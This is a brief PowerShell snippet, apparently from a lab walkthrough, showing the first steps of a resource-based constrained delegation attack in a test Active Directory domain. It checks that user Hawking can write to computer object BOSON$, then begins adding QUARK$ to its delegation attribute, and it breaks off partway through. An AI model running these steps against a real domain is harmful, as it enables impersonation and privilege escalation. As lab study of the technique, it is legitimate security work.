notsoshant

# Verify the COSMOS\Hawking has Write permissions on BOSON$
$AttackerSID = Get-DomainUser Hawking -Properties objectsid | Select -Expand objectsid
$ACE = Get-DomainObjectACL "BOSON.COSMOS.LAB" -ResolveGUIDs | ?{$_.SecurityIdentifier -match $AttackerSID}
$ACE
ConvertFrom-SID $ACE.SecurityIdentifier



# Add QUARK$ in msDS-AllowedToActOnBehalfOfOtherIdentity attribute of BOSON$
$S4UIdentity = "COSMOS\QUARK$"